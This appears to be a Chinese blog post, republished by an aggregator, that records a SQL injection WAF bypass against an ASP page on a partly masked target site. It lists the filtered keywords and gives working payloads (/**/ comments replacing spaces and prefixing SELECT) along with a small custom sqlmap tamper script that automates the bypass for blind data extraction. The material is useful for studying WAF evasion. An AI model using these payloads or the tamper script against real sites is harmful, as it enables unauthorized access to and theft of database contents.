记录一次sql注入绕过

Posted Reborn

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了记录一次sql注入绕过相关的知识,希望对你有一定的参考价值。

目标:http://www.xxxxx.net/temp.asp?ID=10359

通过 and 1=1 and 1=2 测试发现存在拦截

首先想到 and 空格 = 可能存在触发规则

一般遇到这种情况 过滤 and 一般会考虑转换为 &&

空格过滤转换为 %0a 、+ 或者 /**/

= 转换为 like greatest between 这些在sqlmap 都有相应的tamper

 

这里经过测试发现就是过滤了 空格,转换为 /**/ 就不拦截了

 

 

由于不能进行union 注入 和报错 这里只能进行盲注

 

然后使用 sqlmap  space2comment 进行注入的时候  sqlmap出不了数据

分析过滤了什么关键字

提交 

http://www.xxxxx.net/temp.asp?ID=10359/**/and/**/1=(select 1) 返回 

初步判断过滤了select  

测试发现将select 转换为 /**/select  绕过过滤

 

所以要让sqlmap 能出数据就要将注入语句里面的 SELECT 全部转换为 /**/SELECT

#!/usr/bin/env python

def tamper(payload, **kwargs):
    retVal = payload
    if \'SELECT\' in retVal:
        retVal = retVal.replace(\'SELECT\',\'/**/SELECT\')

    return retVal

命名为 select2select 放在sqlmap tamper 目录下面

成功注入出数据

去burp 查看语句

 

以上是关于记录一次sql注入绕过的主要内容,如果未能解决你的问题,请参考以下文章

如何绕过Javascript中的sql注入错误

360面试记录

记一次艰难的SQL注入(过安全狗)

浅谈SQL注入绕过

记一次MySQL注入绕过

记一次MySQL注入绕过